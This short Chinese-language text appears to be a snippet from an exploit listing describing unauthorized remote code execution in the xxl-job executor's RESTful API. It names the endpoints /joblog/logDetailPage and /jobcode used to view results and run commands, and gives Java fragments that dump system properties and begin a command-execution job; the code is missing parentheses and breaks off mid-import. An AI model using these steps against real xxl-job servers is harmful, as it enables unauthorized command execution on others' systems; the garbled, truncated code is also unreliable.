xxl-job

xxl-job 执行器 RESTful API 未授权访问 RCE 利用 执行日志Console 可获取命令执行成功结果： Example: /joblog/logDetailPage?id=xxxx 查看jdk环境变量 root@kitploit: String var3 = System.getProperties.toString; System.out.printlnvar3; 命令执行 /jobcode?jobId=x root@kitploit: import com.xxl.job.core.log.XxlJobLogger; import...